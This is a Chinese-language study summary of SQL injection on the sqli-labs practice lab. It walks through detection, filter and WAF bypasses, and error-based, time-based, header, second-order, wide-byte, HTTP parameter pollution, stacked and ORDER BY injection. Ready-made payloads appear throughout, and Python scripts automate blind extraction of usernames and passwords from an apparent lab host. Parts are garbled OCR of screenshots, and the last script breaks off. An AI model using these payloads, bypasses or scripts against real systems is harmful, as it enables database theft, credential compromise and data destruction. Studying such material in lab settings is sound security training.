sqli-lab下的SQL注入总结 - 图1

    内联注释中的五位数字只要小于版本号并且格式为:44xxx/x44xx/xx44x/xxx44。so,小霸王bypass机,哪里拦截,/!00044 /加哪里

    一、SQL注入分类:

    1、基于从服务器接收到的响应
    ▲基于错误的SQL 注入
    ▲联合查询的类型
    ▲堆查询注射
    ▲SQL 盲注
    •基于布尔SQL 盲注
    •基于时间的SQL 盲注
    •基于报错的SQL 盲注

    2、基于如何处理输入的SQL 查询
    数据类型
    •基于字符串
    •数字或整数为基础的

    3、基于程度和顺序的注入
    在哪里发生了影响
    ★一阶注射
    ★二阶注射
    一阶注射是指输入的注射语句对WEB 直接产生了影响,出现了结果;
    二阶注入类似存储型XSS,是指输入提交的语句,无法直接对WEB 应用程序产生影响,通过其它的辅助间
    接的对WEB 产生危害,这样的就被称为是二阶注入.基于注入点的位置上的
    ▲通过用户输入的表单域的注射。
    ▲通过cookie 注射。
    ▲通过服务器变量注射。(基于头部信息的注射)

    二、注入点检测:

    1、闭合检测
    less1
    1’ 错误
    1’—+ 正常
    SELECT FROM users WHERE id=’$id’ LIMIT 0,1
    less4
    1”) 报错
    1”)—+ 正常
    SELECT
    FROM users WHERE id=(“$id”) LIMIT 0,1

    其他:
    md5闭合
    这个字符串:ffifdyop,经过md5后会变成:’or’6 ] !r, b,

    2、布尔检测
    less2
    1 and 1=2 错误
    1 and 1=1 正常
    SELECT FROM users WHERE id=$id LIMIT 0,1
    注:两个sql 语句进行联合操作时,当前一个语句选择的内容为空,就将后面的语句的内容显示出来,所以id=0/-1
    less3
    1’) and (‘1’ = ‘1 正常
    1’) and (‘1’ = ‘2 错误
    SELECT
    FROM users WHERE id=(‘$id’) LIMIT 0,1

    3、时间检测:
    1’ and sleep(3)—+
    1” and sleep(3)—+
    以此类推

    三、相关过滤字符替换

    1、or and
    (1)大小写变形Or,OR,oR
    (2)编码,hex,urlencode
    (3)添加注释/or/
    (4)利用符号and=&& or=||
    (5)可以检测是否只过滤一次,是则可以双写绕过,以此类推

    2、空格
    %09 TAB 键(水平)
    %0a 新建一行
    %0b TAB 键(垂直)
    %0c 新的一页
    %0d return 功能
    %a0 空格
    /**/
    .

    3、注释符:
    #
    —+
    当注释符被过滤时可以考虑闭合后面的符号(less23)

    四、相关爆库函数

    1、断字函数:
    1)substr(column_name, start, [length])
    column_name——要提取的字段
    start——规定开始位置,从0开始计数
    length——要返回的字符数,如果省略,则mid() 函数返回剩余文本

    2)mid(column_name, start, [length])
    column_name——要提取的字段
    start——规定开始位置,从0开始计数
    length——要返回的字符数,如果省略,则mid() 函数返回剩余文本
    例:mid(database(),1,1)>’a’/subsrt(database(),1,1)>’a’
    3)left(string,n)
    例:left(database(),1)>”a”
    4)select user() regexp ‘^r’;

    2、连接函数:
    concat(str1,str2,…)——没有分隔符地连接字符串,注意引起来
    例:concat(user,0x3a,password) 0x3a为冒号
    concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串,separator为分隔符,注意引起来
    group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
    3、延迟函数:
    sleep()
    benchmark(count,expr)———将表达式expr执行conut次

    4、编码:
    将字符串转化为ASCII码值
    ascii()
    ord()

    五、数据检测函数

    1、addslashes()
    1)addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
    预定义字符是:
    单引号(’)
    双引号(”)
    反斜杠(\)
    NULL
    2)提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
    3)注释:默认地,PHP 对所有的GET、POST 和COOKIE 数据自动运行addslashes()。不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函get_magic_quotes_gpc()进行检测。
    4)语法:addslashes(string)
    string 必需。规定要转义的字符串。
    返回值: 返回已转义的字符串。
    PHP 版本: 4+
    5)反作用函数:stripslashes()
    函数删除由addslashes() 函数添加的反斜杠。

    2、mysql_real_escape_string()
    1)mysql_real_escape_string()函数转义SQL 语句中使用的字符串中的特殊字符。
    下列字符受影响,如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
    \x00
    \n
    \r
    \


    \x1a
    2)语法:mysql_real_escape_string(string,connection)
    string 必需。规定要转义的字符串。
    connection 可选。规定MySQL 连接。如果未规定,则使用上一个连接。
    3)说明:本函数将string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query()。

    六、万能密码:
    less11
    1)源码
    select username,password from users where username=(“$usename”) and password=(“$password”) limit 0,1
    2)注入后
    select username,password from users where username=’admin’ or ‘1’=’1’ and password=’123’ limit 0,1
    3)原理:因为and的优先级大于or先执行and,再执行or,一真即真,只要用户名正确既能登入

    md5闭合
    这个字符串:ffifdyop,经过md5后会变成:’or’6 ] !r, b,

    七、报错注入:

    1、floor报错
    and select count(), concat((select database()), ‘-‘, floor(rand(0)2)) as a from information_schema.tables group by a
    MySQL版本>=5.0

    2、ExtractValue报错
    and extractvalue(1, concat(0x5c, (select database())));
    注意:extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位,mysql版本5.15-5.5

    3、UpdateXml报错
    and updatexml(1,concat(0x3a,(select database())),1)
    mysql版本5.15-5.5 ,查询字符串的最大长度也是32

    4、NAME_CONST报错
    and exists(select from (select from(select name_const(@@version,0))a join (select name_const(*@@version,0))b)c)

    5、join报错
    select from(select from mysql.user ajoin mysql.user b)c;

    6、exp报错
    and exp(~(select from (select *database()) a) );
    mysql版本5.1-5.5.53

    7、GeometryCollection()报错

    and geometrycollection((select from(select from(select user())a)b))
    MySQL版本5.1+

    8、polygon ()报错

    and polygon((selectfrom(selectfrom(selectuser())a)b))
    MySQL版本5.1+

    9、multipoint ()报错

    and multipoint((selectfrom(selectfrom(selectuser())a)b))
    MySQL版本5.1+

    10、multlinestring ()报错
    and multlinestring ((selectfrom(selectfrom(selectuser())a)b));
    MySQL版本5.1+

    11、multpolygon ()报错
    and multipolygon((selectfrom(selectfrom(selectuser())a)b))
    MySQL版本5.1+

    12、linestring ()报错
    and linestring((selectfrom(selectfrom(selectuser())a)b))
    MySQL版本5.1+

    13、ST_LatFromGeoHash()
    select ST_LatFromGeoHash(version());
    MySQL版本5.7+

    14、ST_LongFromGeoHash()
    select ST_LongFromGeoHash(version());
    MySQL版本5.7+

    15、GTID_SUBSET()
    select GTID_SUBSET(version(),1);
    MySQL版本5.7+

    16、GTID_SUBTRACT()
    select GTID_SUBTRACT(version(),1);
    MySQL版本5.7+

    17、ST_PointFromGeoHash()
    select ST_PointFromGeoHash(version(),1);
    MySQL版本5.7+

    UPDATEXML()
    主要用于闭合点后回显数据,盲注无判断条件,
    1、UPDATEXML (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
    第三个参数:new_value,String格式,替换查找到的符合条件的数据
    作用:改变文档中符合条件的节点的值
    解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
    2、extractvalue():从目标XML中返回包含所查询值的字符串。
    EXTRACTVALUE (XML_document, XPath_string);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串)
    concat:返回结果为连接参数产生的字符串。
    注意:extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位,原理与updatexml()相同
    例:
    123’ and (updatexml(1,concat(0x5c,version(),0x5c),1))#
    ‘and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’=’1
    uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

    相关文章:
    http://www.txahz.com/article-13492-1.html?qqdrsign=06bf4
    https://www.cnblogs.com/csyxf/p/10241456.html

    八、时间盲注
    原理:利用截取函数及返回页面时间判断猜的字符串是否正确

    1、sleep()
    ‘and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)=’s’),sleep(3),null)—+

    2、benchmark()
    benchmark(100000000,sha(1))——-执行 sha(1) 100000000次
    ‘and if(ascii(substr(database(),1,1))=100,benchmark(100000000,sha(1)), null)—+

    3、笛卡尔积
    SELECTcount(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

    4、RLIKE
    select rpad(‘a’,4999999,’a’) RLIKE concat(repeat(‘(a.*)+’,30),’b’);
    相关文章:
    https://www.fujieace.com/penetration-test/blind-time-delay.html

    九、header头注入
    例:user-agent注入(less18)
    输入admin,admin测试后发现会查询IP和user agent,通过burp抓包后修改这两个地方的参数,加入sql查询语句
    ‘and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’=’1
    源码:$insert=”INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘$uagent’, ‘$IP’, $uname)”;

    十、二阶注入:

    1)定义
    二次排序注入也成为存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发sql 注入。

    2)思路:
    1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP 数据报文请求到服务
    端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL 语句或者命令。
    2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的
    数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响
    应。
    3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
    4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库
    中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL 语句或者命令在服
    务端环境中执行。
    5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注
    入漏洞利用是否成功。

    例1
    less24
    修改密码的源码
    UPDATE users SET passwd=’New_Pass’ WHERE username =’admin’
    先注册一个amdin’#
    当修改密码时执行where条件从而修改admin的密码
    UPDATE users SET passwd=”New_Pass“ WHERE username =’ admin’ # ‘ AND password=’Old_Pass’

    十一、HPP参数污染绕过waf
    apache(php)解析最后一个参数,即显示id=2 的内容。Tomcat(jsp)解析第一个参数,即显示id=1 的内容

    获取到的参数
    参数获取函数
    Web服务器
    PHP/Apache
    $GETC”Par”)
    Last
    Request.getParameter(“par”)
    JSP/TomcaT
    First
    Param(“par”‘)
    Perl(CGD/Apache
    First
    All(List)
    Python/Apache
    getvalue(“par”)
    All(comma-delimitedstring)
    RequestQueryString(“par)
    ASP/IIS
    sqli-lab下的SQL注入总结 - 图2

    问题:index.jsp?id=1&id=2 请求,针对第一张图中的服务器配置情况,客户端请求首先过tomcat,tomcat 解析第一个参数,接下来tomcat 去请求apache(php)服务器,apache 解析最后一个参数。那最终返回客户端的应该是哪个参数?
    Answer:此处应该是id=2 的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache 处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat 服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF 的检测。该用法就是HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。
    例:
    less29
    tomcat 中的index.jsp 文件

    request.getParameteri
    string
    stringqsrequest.getouerystring
    iF(id!一nul1)
    iF(iD!-“)
    对tomcat的参数做处理,此处只进行第一个参数的处理
    try
    请求apache(php)
    STrINgRExEAUld+s”
    服务器
    Boo1eanmatch-id.matches(e)
    1(matchatrue)
    uRLsqlilabnew(htt:/ht
    qs)
    RICOMECLNSGILabcomcnSLascoecion
    BufferedReaderInnewBufferedReader
    sqli-lab下的SQL注入总结 - 图3

    在apache 的index.php 中,sql 语句为
    $sql=”SELECT FROM users WHERE id=’$id’ LIMIT 0,1”;
    因此我们根据HPP 的原理,我们直接payload:
    http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2%27union%20select%201,**user()*
    ,3—+

    十二、宽字节注入

    1)原理:
    当数据库使用宽字符集时,比如mysql 在使用GBK 编码的时候,在进入数据库之前,在web语言中没有考虑到双字节问题,双字节字符会被认为时两个字符,而进入数据库之后,会被认为一个字符,例如%aa%5c 进之前是两个字符,进之后就是一个,因此当命令进入数据库执行时,其过滤作用的\已经被%5c吃掉,而使 ‘ 闭合,让后面的命令执行。

    2)利用:
    汉字(前一个ascii 码大于128 才能到汉字的范围)。我们在过滤’ 的时候,往往利用的思路是将‘ 转换为\’ (转换的函数或者思路会在每一关遇到的时候介绍)。因此我们在此想办法将‘ 前面添加的\ 除掉

    3)方法:
    1、%df 吃掉\ 具体的原因是urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的mysql 在GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
    2、将\’ 中的\ 过滤掉,例如可以构造%**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是bypass 的一种方法。

    例1
    less32(get型)
    payload:
    http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union%20select%201,**user()**,3--+
    源码:

    functioncheckaddslashes(sstring)
    /lescape_anybacksiash
    NBE8RRInTEOOOOSSTXINO
    escapesingleguotewithabackslash
    //escapedaublequotewithabackslash
    sstringprogoplaceming
    xeturnsatring
    sqli-lab下的SQL注入总结 - 图4

    上述函数为过滤‘ \ 的函数,将‘ 转为\’ , 将\ 转为\ ,将“ 转为\”。因此
    此处我们只能考虑background 中的第一个思路,添加一个%df 后,将%5c 吃掉即可。

    例2
    less33利用addslashes()过滤
    单引号(’)
    双引号(”)
    反斜杠(\)
    NULL
    设置不当可能存在宽字节注入
    预防
    Notice:使用addslashes(),我们需要将mysql_query 设置为binary 的方式,才能防御此漏洞。
    Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

    例3
    less36
    源码:

    functioncheckquote(string)
    sstring-ysqlealescapestring(sstrng)
    returnsstringi
    sqli-lab下的SQL注入总结 - 图5

    mysql_real_escape_string() 函数转义SQL 语句中使用的字符串中的特殊字符。
    下列字符受影响,但是因mysql 我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。方法和上述是一样的
    \x00
    \n
    \r
    \


    \x1a
    payload:http://127.0.0.1/sqli-labs/Less-36/?id=-1%df%27union%20select%201,**user()**,3--+
    Notice:在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql 设置为gbk 即可。
    设置代码:Mysql_set_charset(‘gbk’,’$conn’)

    例4
    less34(post型)
    如何将方法用在post 型的注入当中,我们此处介绍
    一个新的方法。将utf-8 转换为utf-16 或utf-32,例如将‘ 转为utf-16 为�’ 。我们就
    可以利用这个方式进行尝试。
    �’or 1=1#
    �’union select 1,2#
    �’union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479#
    原始的sql 语句为
    @$sql=”SELECT username, password FROM users WHERE username=’$uname’
    and password=’$passwd’ LIMIT 0,1”;
    此时sql 语句为
    SELECT username, password FROM users WHERE username=’�’or 1=1#’ and password=’$passwd’ LIMIT 0,1

    十三、堆叠注入

    1、原理:
    在SQL 中,分号(;)是用来表示一条sql 语句的结束。试想一下我们在; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

    2、缺点:
    堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API 或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。这种注入方式并不是十分的完美的。在我们web 系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。

    3、注意:
    同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息,oracle 不能使用堆叠注入

    4、相关数据库操作数:
    1)mysql
    查就是select,增是insert,删就是delect或drop,改就是update
    a、增:insert into users values(‘16’,’lcamry’,’lcamry’);
    b、删:
    删数据
    delete from 表名;
    delete from 表名 where id=1;
    删节构
    删数据库:drop database数据库名;
    删除表:drop table 表名;
    删除表中的列:alter table 表名 drop column 列名;
    c、改:
    修改所有:updata 表名 set 列名=’新的值,非数字加单引号’ ;
    带条件的修改:updata 表名 set 列名=’新的值,非数字加单引号’ where id=6;
    d、加载文件
    select load_file(‘c:/tmpupbbn.php’);

    例1
    less38(get)
    sql 语句为:SELECT * FROM users WHERE id=’$id’ LIMIT 0,1
    payload
    http://127.0.0.1/sqli-labs/Less-38/index.php?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+

    例2
    less42(post)
    登录界面源码:

    Plain Text
    复制代码

    1
    $username = mysqli_real_escape_string($con1, $_POST[“login_user”]);
    2
    $password = $_POST[“login_password”];

    修改密码源码:

    Plain Text
    复制代码

    1
    $username = $_SESSION[“username”];
    2
    $curr_pass = mysql_real_escape_string($_POST[‘current_password’]);
    3
    $pass = mysql_real_escape_string($_POST[‘password’]);
    4
    $re_pass = mysql_real_escape_string($_POST[‘re_password’]);

    因为没有注册功能,所以登录成功后的修改密码便没有什么作用,不能像 Less 24 一样构造用户名进行平行越权。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
    二次注入即update的数据(这关经过mysql_real_escape_string()处理),存入到数据库当中,在下一次select调用的时候发挥作用。详细可参考 Less 24。但可以通过插入admin’#来实现注册进而二次调用
    SQL语句:
    $sql = “SELECT * FROM users WHERE username=’$username’ and password=’$password’”;
    payload:
    username:admin
    Password:c’;create table less42 like users#

    十四、order by 注入
    介绍:本关的sql 语句为$sql = “SELECT * FROM users ORDER BY $id”;
    尝试?sort=1 desc 或者asc,显示结果不同,则表明可以注入。(类似于盲注)

    (1)布尔型
    利用rand()函数,此函数可以产生一个随机数
    rand(true)和rand(false)产生的结果不同
    true

    Dhakkan
    Welcome
    PASSWORD
    ID
    USERNAME
    11
    admin3
    admin3
    5
    stupidity
    stupid
    crappy
    secure
    3
    p@ssword
    Dummy
    dhakkan
    12
    dumbo
    9
    admin1
    admin1
    admin
    admin
    admin2
    10
    admin2
    Dumb
    Dumb
    7
    mob!le
    batman
    14
    admin4
    admin4
    -kill-you
    Angelina

    0内存

    无障碍环境
    性能
    存储
    HackBar
    rand(true)
    sqli-lab下的SQL注入总结 - 图6

    false

    Dumb
    Dum
    batman
    mob
    secure
    crap
    dhakkan
    12
    dum
    8
    admin
    adm
    i-kill
    Angelina
    Dummy
    @s
    geni
    suprman
    stupid
    stup
    10
    admin2
    adm
    admin4
    14
    adm
    11
    admin3
    adm
    0内存
    最器
    性能
    无障碍环境
    HackBar
    存储
    rand(false)
    sqli-lab下的SQL注入总结 - 图7

    payload:
    less46
    ?sort=rand(ascii(left(database(),1))=115)
    less47
    ?sort=1%27and%20rand(ascii(left(database(),1))=115)—+

    (2)报错注入
    payload:
    less46
    ?sort=(select%20count()%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()2)))
    less47
    ?sort=1%27and%20(select%20count()%20from%20information_schema.columns%20group%20by%20concat(0x3a,03a,(select%20user()),0x3a,0x3a,floor(rand()2)))—+
    ?sort=1%27and%20(select%20%20from%20(select%20NAME_CONST(version(),1),NAME_CONST(*version(),1))x)—+

    (3)延时注入
    payload:
    less46
    ?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)
    ?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
    less47
    ?sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,slee

    (4)procedure analyse
    less46
    ?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)
    less47
    ?sort=1%27procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)—+
    相关知识点:https://www.freebuf.com/articles/web/57528.html

    (5)堆叠注入
    less48不能使用报错注入
    执行sql 语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli
    _query(),区别在于mysqli_multi_query()可以执行多个sql 语句,而mysqli_query()只能执行
    一个sql 语句,那么我们此处就可以执行多个sql 语句进行注入,也就是我们之前提到的sta
    tcked injection。

    十五、盲注脚本

    布尔+时间(get型)

    Python
    复制代码

    1
    import requests
    2
    from bs4 import BeautifulSoup
    3
    import datetime
    4
    import time
    5

    6
    # 布尔注入开始
    7
    def bool_start (dic,payload,of_url,result,cut_start,decide,local,numb):
    8
    for num in range(0,50):
    9
    for i in dic:
    10
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr(database(),%s,1)=’%s’—+” %(cut_start,i)
    11
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1)=’%s’—+” %(cut_start,i)
    12
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),%s,1)=’%s’—+” %(cut_start,i)
    13
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(username,0x3a,password) from security.users),%s,1)=’%s’—+” %(cut_start,i)
    14
    url = “%s and substr((%s),%s,1)=’%s’—+” %(of_url,payload,cut_start,i)
    15
    # print(url)
    16
    response = requests.get(url,timeout = 5)
    17
    response.encoding=”gbk”
    18
    soup = BeautifulSoup(response.text,”html.parser”)
    19
    if soup.find_all(local)[numb].text == decide:
    20
    result=result+i
    21
    print(result)
    22
    break
    23
    cut_start=cut_start+1
    24
    return
    25
    def blind_start (dic,payload,of_url,result,cut_start,decide,local,numb):
    26
    for num in range(0,50):
    27
    for i in dic:
    28
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr(database(),%s,1)=’%s’—+” %(cut_start,i)
    29
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1)=’%s’—+” %(cut_start,i)
    30
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),%s,1)=’%s’—+” %(cut_start,i)
    31
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(username,0x3a,password) from security.users),%s,1)=’%s’—+” %(cut_start,i)
    32
    url = “%s and if(substr((%s),%s,1)=’%s’,sleep(3),1)—+” %(of_url,payload,cut_start,i)
    33
    # print(url)
    34
    time1 = datetime.datetime.now()
    35
    response = requests.get(url,timeout = 5)
    36
    time2 = datetime.datetime.now()
    37
    re_time = (time2 - time1).seconds
    38
    # print(re_time)
    39
    if re_time >= 3:
    40
    result=result+i
    41
    print(result)
    42
    break
    43
    cut_start=cut_start+1
    44
    return
    45
    # 元素定位
    46
    def fixed_position(url,local,numb,decide):
    47
    response = requests.get(url,timeout = 5)
    48
    response.encoding=”utf-8”
    49
    soup = BeautifulSoup(response.text,”html.parser”)
    50
    print(soup.find_all(local))
    51
    if soup.find_all(local)[numb].text == decide:
    52

    53
    print(soup.find_all(local)[numb].text + “\nyes!”)
    54
    else:
    55
    print(“sorry,plase try input a new array’s number! or try to input a new decide content!”)
    56
    return
    57

    58
    if name == ‘main‘:
    59
    # 字典
    60
    dic = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,:’
    61
    # 搜索语句
    62
    payload = ‘select group_concat(username,0x3a,password) from security.users’
    63
    url = “http://47.93.51.165:10010/Less-8/?id=1
    64
    # 溢出状态下的url
    65
    of_url1 = “http://47.93.51.165:10010/Less-9/?id=1%27
    66
    of_url2 = ‘http://47.93.51.165:10010/Less-10/?id=1“‘
    67
    # 结果
    68
    result = ‘’
    69
    # 截取开始位
    70
    cut_start = 0
    71
    # 判读依据
    72
    decide = ‘You are in………..’
    73
    # 标签定位
    74
    local = ‘font’
    75
    # 数组号
    76
    numb = 2
    77
    blind_start(dic=dic,payload=payload,of_url=of_url2,result=result,cut_start=cut_start,decide=decide,local=local,numb=numb)
    78
    # fixed_position(url=url,local=local,numb=numb,decide=decide)
    79
    # bool_start(dic=dic,payload=payload,of_url=of_url2,result=result,cut_start=cut_start,decide=decide,local=local,numb=numb)
    80

    布尔注入(post型)

    Python
    复制代码

    1
    # encoding=’utf-8’
    2
    import requests
    3
    from bs4 import BeautifulSoup
    4
    import datetime
    5
    import time
    6
    import re
    7

    8
    # 布尔盲注
    9
    def bool_start (dic,payload,of_url,result,cut_start,decide,local,numb):
    10
    for num in range(0,50):
    11
    for i in dic:
    12
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr(database(),%s,1)=’%s’—+” %(cut_start,i)
    13
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1)=’%s’—+” %(cut_start,i)
    14
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),%s,1)=’%s’—+” %(cut_start,i)
    15
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(username,0x3a,password) from security.users),%s,1)=’%s’—+” %(cut_start,i)
    16
    url = “%s and substr((%s),%s,1)=’%s’—+” %(of_url,payload,cut_start,i)
    17
    # print(url)
    18
    response = requests.get(url,timeout = 5)
    19
    response.encoding=”gbk”
    20
    soup = BeautifulSoup(response.text,”html.parser”)
    21
    if soup.find_all(local)[numb].text == decide:
    22
    result=result+i
    23
    print(result)
    24
    break
    25
    cut_start=cut_start+1
    26
    return
    27
    # 时间盲注
    28
    def blind_start (dic,payload,of_url,result,cut_start,decide,local,numb):
    29
    for num in range(0,50):
    30
    for i in dic:
    31
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr(database(),%s,1)=’%s’—+” %(cut_start,i)
    32
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1)=’%s’—+” %(cut_start,i)
    33
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),%s,1)=’%s’—+” %(cut_start,i)
    34
    # url = “http://47.93.51.165:10010/Less-5/?id=1'and substr((select group_concat(username,0x3a,password) from security.users),%s,1)=’%s’—+” %(cut_start,i)
    35
    url = “%s and if(substr((%s),%s,1)=’%s’,sleep(3),1)—+” %(of_url,payload,cut_start,i)
    36
    # print(url)
    37
    time1 = datetime.datetime.now()
    38
    response = requests.get(url,timeout = 5)
    39
    time2 = datetime.datetime.now()
    40
    re_time = (time2 - time1).seconds
    41
    # print(re_time)
    42
    if re_time >= 3:
    43
    result=result+i
    44
    print(result)
    45
    break
    46
    cut_start=cut_start+1
    47
    return
    48

    49
    def bool_post(dic,payload,url,result,cut_start,header):
    50
    for num in range(0,20):
    51
    for i in dic:
    52
    of_payload = “admin\’) and substr((%s),%s,1)=\’%s\’#” %(payload,cut_start,i)
    53
    # print(of_payload)
    54
    data = {“uname”:of_payload,”passwd”:”Dumb”}
    55
    response = requests.post(url,data=data,headers=header)
    56
    response.encoding=”utf-8”
    57
    soup = BeautifulSoup(response.text.replace(‘ ’, ‘ ‘),”html.parser”)
    58
    if str(soup.find_all(‘img’)[0]) == ‘sqli-lab下的SQL注入总结 - 图8‘:
    59
    result=result+i
    60
    print(result)
    61
    break
    62
    cut_start=cut_start+1
    63
    return
    64

    65
    # 元素定位
    66
    def fixed_position(url,local,nmb,decide):
    67
    response = requests.get(url,timeout = 5)
    68
    response.encoding=”utf-8”
    69
    soup = BeautifulSoup(response.text,”html.parser”)
    70
    print(soup.find_all(local))
    71
    if soup.find_all(local)[numb].text == decide:
    72

    73
    print(soup.find_all(local)[numb].text + “\nyes!”)
    74
    else:
    75
    print(“sorry,plase try input a new array’s number! or try to input a new decide content!”)
    76
    return
    77

    78
    if name == ‘main‘:
    79
    # 字典
    80
    dic = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,:’
    81
    # 搜索语句
    82
    payload = ‘select group_concat(username,0x3a,password) from security.users’
    83
    url = “http://47.93.51.165:10010/Less-13/
    84
    # 溢出状态下的url
    85
    of_url1 = “http://47.93.51.165:10010/Less-9/?id=1%27
    86
    of_url2 = ‘http://47.93.51.165:10010/Less-10/?id=1“‘
    87
    # 结果
    88
    result = ‘’
    89
    # 截取开始位
    90
    cut_start = 0
    91
    # 判读依据
    92
    decide = ‘You are in………..’
    93
    # 标签定位
    94
    local = ‘font’
    95
    # 数组号
    96
    numb = 2
    97

    98
    header = {‘Content-Type’: ‘application/x-www-form-urlencoded’}
    99
    bool_post(dic=dic,payload=payload,url=url,result=result,cut_start=cut_start,header=header)
    100
    # blind_start(dic=dic,payload=payload,of_url=of_url2,result=result,cut_start=cut_start,decide=decide,local=local,numb=numb)
    101
    # fixed_position(url=url,local=local,numb=numb,decide=decide)
    102
    # bool_start(dic=dic,payload=payload,of_url=of_url2,result=result,cut_start=cut_start,decide=decide,local=local,numb=numb)
    103

    布尔型的二分查找法脚本(get型)

    1. #encoding='utf-8'
    2. import urllib
    3. import urllib.request
    4. success_str = "Your Login name"
    5. headers={
    6. 'Host': 'localhost',
    7. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
